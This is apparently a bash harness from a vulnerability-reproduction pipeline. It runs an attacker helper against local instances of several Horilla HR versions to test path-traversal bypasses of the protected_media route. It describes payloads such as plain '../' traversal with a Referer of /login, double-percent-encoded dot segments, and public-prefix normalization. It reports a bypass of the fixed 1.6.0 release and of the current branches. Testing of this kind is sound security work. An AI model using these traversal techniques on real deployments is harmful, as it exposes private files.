#!/bin/bash
set -uo pipefail

# Exit 0 = a distinct variant is reproduced on the tested newer target.
# Exit 1 = matrix completed but no distinct variant reproduced.
# Exit 2 = infrastructure/precondition failure.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VARIANT="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$VARIANT/artifacts"
mkdir -p "$LOGS" "$ARTIFACTS"
MASTER="$LOGS/reproduction_steps.log"
: > "$MASTER"
exec > >(tee -a "$MASTER") 2>&1

UPSTREAM="https://github.com/horilla/horilla-hr.git"
VULN_COMMIT="61bd5173220d19925ad8220db9152a75c881ea73"
FIXED_COMMIT="b3bd29d15819cbece45c58e6268ddd0614e387d6"
V2_RELEASE_COMMIT="b8cbf0af11d105e6e8c3708c3156322248f93e77"
LATEST_V1_COMMIT="11c4e3a2596c58f2381bda4c6bbc319a4430b097"
LATEST_V2_COMMIT="a971ff98662904f798819415203ccb26bc4b0db3"
VULN_DEPS="$ROOT/artifacts/python-deps-vulnerable"
FIXED_DEPS="/pruva/project-cache/horilla-python-deps"
V2_DEPS="/pruva/project-cache/horilla-python-deps"
LOCAL_RUNTIME="$VARIANT/local_http_runtime.py"
ATTACKER="$ARTIFACTS/http_variant_attacker.py"
COMPAT="$VARIANT/compat"
DJANGO_COMPAT="$VARIANT/django_compat"
RUN_TOKEN="$(python3 -c 'import secrets; print(secrets.token_hex(6))')"
SERVER_PIDS=""

cleanup() {
  for pid in $SERVER_PIDS; do kill "$pid" >/dev/null 2>&1 || true; done
  wait >/dev/null 2>&1 || true
}
trap cleanup EXIT INT TERM
fail() { echo "[variant:error] $*"; exit 2; }

for tool in git jq python3 tar timeout sha256sum; do
  command -v "$tool" >/dev/null 2>&1 || fail "missing tool: $tool"
done
[ -f "$LOCAL_RUNTIME" ] || fail "missing helper: $LOCAL_RUNTIME"
[ -f "$ATTACKER" ] || fail "missing helper: $ATTACKER"
[ -d "$COMPAT" ] || fail "missing compatibility helpers: $COMPAT"
[ -d "$DJANGO_COMPAT" ] || fail "missing Django 5.2 compatibility layer: $DJANGO_COMPAT"
[ -d "$VULN_DEPS/django" ] || fail "submitted dependency cache unavailable"
[ -d "$FIXED_DEPS/django" ] || fail "fixed dependency cache unavailable"

CACHE_CONTEXT="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CONTEXT" ] && jq -e '.prepared == true' "$CACHE_CONTEXT" >/dev/null 2>&1; then
  REPO="$(jq -r '.project_cache_dir' "$CACHE_CONTEXT")/repo"
else
  REPO="$ARTIFACTS/repo"
fi
[ -d "$REPO/.git" ] || fail "prepared upstream repository unavailable"
git -C "$REPO" remote set-url origin "$UPSTREAM" || fail "cannot bind upstream remote"
for commit in "$VULN_COMMIT" "$FIXED_COMMIT" "$V2_RELEASE_COMMIT"; do
  git -C "$REPO" cat-file -e "$commit^{commit}" 2>/dev/null || fail "missing source commit $commit"
done
# Refresh when network exists; preserve exact reviewed identities when this isolated
# worker has no egress after the reproduction stage.
git -C "$REPO" fetch --force origin \
  '1.0:refs/remotes/origin/1.0' 'master:refs/remotes/origin/master' \
  'dev/v2.0:refs/remotes/origin/dev/v2.0' >/dev/null 2>&1 || \
  echo "[variant] network refresh unavailable; using current-run reviewed remote refs"

resolved_vuln="$(git -C "$REPO" rev-parse "$VULN_COMMIT^{commit}")"
resolved_fixed="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^{commit}")"
resolved_v2="$(git -C "$REPO" rev-parse "$V2_RELEASE_COMMIT^{commit}")"
latest_v1="$(git -C "$REPO" rev-parse refs/remotes/origin/1.0)"
latest_master="$(git -C "$REPO" rev-parse refs/remotes/origin/master)"
latest_v2="$(git -C "$REPO" rev-parse refs/remotes/origin/dev/v2.0)"
[ "$resolved_vuln" = "$VULN_COMMIT" ] || fail "submitted identity mismatch"
[ "$resolved_fixed" = "$FIXED_COMMIT" ] || fail "fixed identity mismatch"
[ "$resolved_v2" = "$V2_RELEASE_COMMIT" ] || fail "newer release identity mismatch"
[ "$latest_v1" = "$LATEST_V1_COMMIT" ] || fail "latest 1.x identity moved"
[ "$latest_master" = "$LATEST_V1_COMMIT" ] || fail "master identity moved"
[ "$latest_v2" = "$LATEST_V2_COMMIT" ] || fail "latest v2 identity moved"

cat > "$LOGS/source_identity.log" <<EOF
repository=$UPSTREAM
submitted_tag=1.5.0
submitted_commit=$resolved_vuln
fixed_tag=1.6.0
fixed_commit=$resolved_fixed
newer_release_tag=release/v2.1.0
newer_release_commit=$resolved_v2
latest_v1_ref=origin/1.0
latest_v1_commit=$latest_v1
latest_master_commit=$latest_master
latest_v2_ref=origin/dev/v2.0
latest_v2_commit=$latest_v2
resolved_at=$(date -u +%Y-%m-%dT%H:%M:%SZ)
EOF
cp "$LOGS/source_identity.log" "$LOGS/fixed_version.txt"
printf 'ref=origin/dev/v2.0\ncommit=%s\nresolved_at=%s\n' "$latest_v2" "$(date -u +%Y-%m-%dT%H:%M:%SZ)" > "$LOGS/latest_version.txt"

prepare_context() {
  role="$1" commit="$2" context="$ARTIFACTS/context-$role"
  if [ ! -f "$context/base/views.py" ] || [ "$(sha256sum "$context/base/views.py" | awk '{print $1}')" != "$(git -C "$REPO" show "$commit:base/views.py" | sha256sum | awk '{print $1}')" ]; then
    rm -rf "$context"; mkdir -p "$context"
    git -C "$REPO" archive --format=tar "$commit" | tar -xf - -C "$context" || fail "materialize $role"
  fi
  printf '%s' "$context"
}
for pair in "$VULN_COMMIT:submitted" "$FIXED_COMMIT:fixed" "$V2_RELEASE_COMMIT:newer_release"; do
  commit="${pair%%:*}"; role="${pair##*:}"
  git -C "$REPO" show "$commit:SECURITY.md" > "$LOGS/security_policy_${role}.md" || fail "SECURITY.md missing for $role"
done
for pair in "$LATEST_V1_COMMIT:latest_v1" "$LATEST_V2_COMMIT:latest_v2"; do
  commit="${pair%%:*}"; role="${pair##*:}"
  git -C "$REPO" show "$commit:SECURITY.md" > "$LOGS/security_policy_${role}.md" || fail "SECURITY.md missing for $role"
done

python3 - "$REPO" "$LOGS/candidate_matrix.json" <<'PY'
import json, subprocess, sys
repo, out = sys.argv[1:]
refs = {
 "submitted_1_5_0":"61bd5173220d19925ad8220db9152a75c881ea73",
 "fixed_1_6_0":"b3bd29d15819cbece45c58e6268ddd0614e387d6",
 "newer_release_2_1_0":"b8cbf0af11d105e6e8c3708c3156322248f93e77",
 "latest_v1":"11c4e3a2596c58f2381bda4c6bbc319a4430b097",
 "latest_v2":"a971ff98662904f798819415203ccb26bc4b0db3",
}
inspection={}
for name,ref in refs.items():
 src=subprocess.check_output(["git","-C",repo,"show",f"{ref}:base/views.py"],text=True)
 inspection[name]={"commit":ref,"protected_media_present":"def protected_media(request, path):" in src,
   "safe_join_present":"safe_join(settings.MEDIA_ROOT, path)" in src,
   "unsafe_join_present":"media_path = os.path.join(settings.MEDIA_ROOT, path)" in src,
   "referer_authorization_present":'urlparse(request.META.get("HTTP_REFERER", "")).path' in src}
data={"schema_version":1,"inspection":inspection,"candidates":[
 {"id":"C1-newer-2x-release-line-sibling","difference":"newer release-line implementation of the same real HTTP route and protected_media sink","payload":"plain traversal plus Referer /login","runtime_tested":True},
 {"id":"C2-double-percent-encoded-traversal","difference":"alternate encoded data path probing post-fix decoding assumptions","payload":"double-percent encoded dot segments","runtime_tested":True},
 {"id":"C3-public-prefix-normalization","difference":"public-prefix plus dot-segment normalization probes authorization/containment ordering","payload":"base/icon/../../private canary without credentials","runtime_tested":True}]}
with open(out,"w") as f: json.dump(data,f,indent=2,sort_keys=True); f.write("\n")
PY

pick_port() {
  python3 - <<'PY'
import socket
s=socket.socket(); s.bind(('127.0.0.1',0)); print(s.getsockname()[1]); s.close()
PY
}

run_case() {
  role="$1" commit="$2" context="$3" deps="$4" use_django_compat="$5"
  case_dir="$LOGS/runtime_$role" state="$ARTIFACTS/runtime/state-$role"
  rm -rf "$case_dir" "$state"; mkdir -p "$case_dir" "$state/media/base/icon"
  outside_name="outside_${RUN_TOKEN}_${role}.txt"
  private_name="private_${RUN_TOKEN}_${role}.txt"
  inside_name="inside_${RUN_TOKEN}_${role}.txt"
  outside_marker="OUTSIDE_VARIANT_CANARY_${RUN_TOKEN}_${role}"
  private_marker="PRIVATE_MEDIA_CANARY_${RUN_TOKEN}_${role}"
  inside_marker="INSIDE_VARIANT_CANARY_${RUN_TOKEN}_${role}"
  printf '%s' "$outside_marker" > "$state/$outside_name"
  printf '%s' "$private_marker" > "$state/media/$private_name"
  printf '%s' "$inside_marker" > "$state/media/base/icon/$inside_name"
  port="$(pick_port)"

  expected_views="$(git -C "$REPO" show "$commit:base/views.py" | sha256sum | awk '{print $1}')"
  expected_urls="$(git -C "$REPO" show "$commit:base/urls.py" | sha256sum | awk '{print $1}')"
  args=(--source "$context" --deps "$deps" --compat "$COMPAT" --media-root "$state/media" --port "$port" --role "$role" --commit "$commit" --identity-out "$case_dir/runtime_binding.json")
  if [ "$use_django_compat" = yes ]; then args+=(--django-compat "$DJANGO_COMPAT"); fi
  python3 "$LOCAL_RUNTIME" "${args[@]}" > "$case_dir/server.log" 2>&1 &
  server_pid=$!; SERVER_PIDS="$SERVER_PIDS $server_pid"

  timeout 120 python3 "$ATTACKER" 127.0.0.1 "$port" "$role" "$commit" \
    "$outside_name" "$private_name" "$inside_name" "$outside_marker" "$private_marker" "$inside_marker" "$case_dir" \
    > "$case_dir/attacker_stdout.log" 2>&1 || { tail -n 100 "$case_dir/server.log"; fail "attacker/runtime failed for $role"; }
  kill "$server_pid" >/dev/null 2>&1 || true; wait "$server_pid" >/dev/null 2>&1 || true
  SERVER_PIDS="$(printf '%s' "$SERVER_PIDS" | sed "s/ $server_pid//")"

  jq -e --arg c "$commit" --arg v "$expected_views" --arg u "$expected_urls" \
    '.source_commit==$c and .base_views_sha256==$v and .base_urls_sha256==$u' "$case_dir/runtime_binding.json" >/dev/null \
    || fail "runtime source binding mismatch for $role"
  jq -e --arg c "$commit" '.source_commit==$c and .healthcheck_passed==true and .results.inside_control.status==200 and .results.inside_control.equals_inside_canary==true' "$case_dir/result.json" >/dev/null \
    || fail "live route/control failed for $role"
  grep -Fq "/media/../$outside_name" "$case_dir/server.log" || fail "server did not observe raw traversal for $role"
  echo "[variant] completed role=$role commit=$commit port=$port"
}

# Required order: submitted vulnerable first, then patched 1.6.0 with the same
# requests. Newer release/default-branch siblings are tested afterward. Contexts
# are exact git archives and are discarded after each role to keep the run bounded.
run_target() {
  role="$1" commit="$2" deps="$3" django_compat="$4"
  context="$(prepare_context "$role" "$commit")"
  run_case "$role" "$commit" "$context" "$deps" "$django_compat"
  rm -rf "$context"
}
rm -rf "$ARTIFACTS"/context-*
run_target submitted "$VULN_COMMIT" "$VULN_DEPS" no
run_target fixed "$FIXED_COMMIT" "$FIXED_DEPS" no
run_target newer_release "$V2_RELEASE_COMMIT" "$V2_DEPS" yes
run_target latest_v1 "$LATEST_V1_COMMIT" "$FIXED_DEPS" no
run_target latest_v2 "$LATEST_V2_COMMIT" "$V2_DEPS" yes

python3 - "$LOGS" <<'PY'
import json, os, sys
root=sys.argv[1]
roles=("submitted","fixed","newer_release","latest_v1","latest_v2")
r={}
for role in roles:
 with open(os.path.join(root,f"runtime_{role}","result.json")) as f:r[role]=json.load(f)
plain={k:r[k]["results"]["plain_escape"] for k in roles}
double={k:r[k]["results"]["double_encoded_escape"] for k in roles}
prefix={k:r[k]["results"]["public_prefix_normalization"] for k in roles}
out={"schema_version":1,"targets":{k:r[k]["source_commit"] for k in roles},"candidate_results":{
 "C1-newer-2x-release-line-sibling":{"submitted_reproduced":plain["submitted"]["status"]==200 and plain["submitted"]["equals_outside_canary"],"fixed_reproduced":plain["fixed"]["status"]==200 and plain["fixed"]["equals_outside_canary"],"newer_release_reproduced":plain["newer_release"]["status"]==200 and plain["newer_release"]["equals_outside_canary"],"latest_v1_reproduced":plain["latest_v1"]["status"]==200 and plain["latest_v1"]["equals_outside_canary"],"latest_v2_reproduced":plain["latest_v2"]["status"]==200 and plain["latest_v2"]["equals_outside_canary"],"statuses":{k:plain[k]["status"] for k in roles}},
 "C2-double-percent-encoded-traversal":{"fixed_reproduced":double["fixed"]["status"]==200 and double["fixed"]["equals_outside_canary"],"latest_v1_reproduced":double["latest_v1"]["status"]==200 and double["latest_v1"]["equals_outside_canary"],"latest_v2_reproduced":double["latest_v2"]["status"]==200 and double["latest_v2"]["equals_outside_canary"],"statuses":{k:double[k]["status"] for k in roles}},
 "C3-public-prefix-normalization":{"submitted_private_read":prefix["submitted"]["status"]==200 and prefix["submitted"]["equals_private_canary"],"fixed_private_read":prefix["fixed"]["status"]==200 and prefix["fixed"]["equals_private_canary"],"newer_release_private_read":prefix["newer_release"]["status"]==200 and prefix["newer_release"]["equals_private_canary"],"latest_v1_private_read":prefix["latest_v1"]["status"]==200 and prefix["latest_v1"]["equals_private_canary"],"latest_v2_private_read":prefix["latest_v2"]["status"]==200 and prefix["latest_v2"]["equals_private_canary"],"statuses":{k:prefix[k]["status"] for k in roles}}}}
out["confirmed_distinct_variant"]=all([out["candidate_results"]["C3-public-prefix-normalization"][k] for k in ("fixed_private_read","latest_v1_private_read","latest_v2_private_read")])
with open(os.path.join(root,"matrix_summary.json"),"w") as f:json.dump(out,f,indent=2,sort_keys=True);f.write("\n")
PY

jq -e '.candidate_results["C1-newer-2x-release-line-sibling"].submitted_reproduced==true and .candidate_results["C1-newer-2x-release-line-sibling"].fixed_reproduced==false and .candidate_results["C3-public-prefix-normalization"].fixed_private_read==true and .candidate_results["C3-public-prefix-normalization"].latest_v1_private_read==true and .candidate_results["C3-public-prefix-normalization"].latest_v2_private_read==true and .confirmed_distinct_variant==true' "$LOGS/matrix_summary.json" >/dev/null || {
  echo "[variant] NO CONFIRMED VARIANT: matrix completed without the fixed/latest bypass oracle"; exit 1; }
echo "[variant] PASS: public-prefix normalization bypass reads private media on fixed 1.6.0 and both current branches"
exit 0
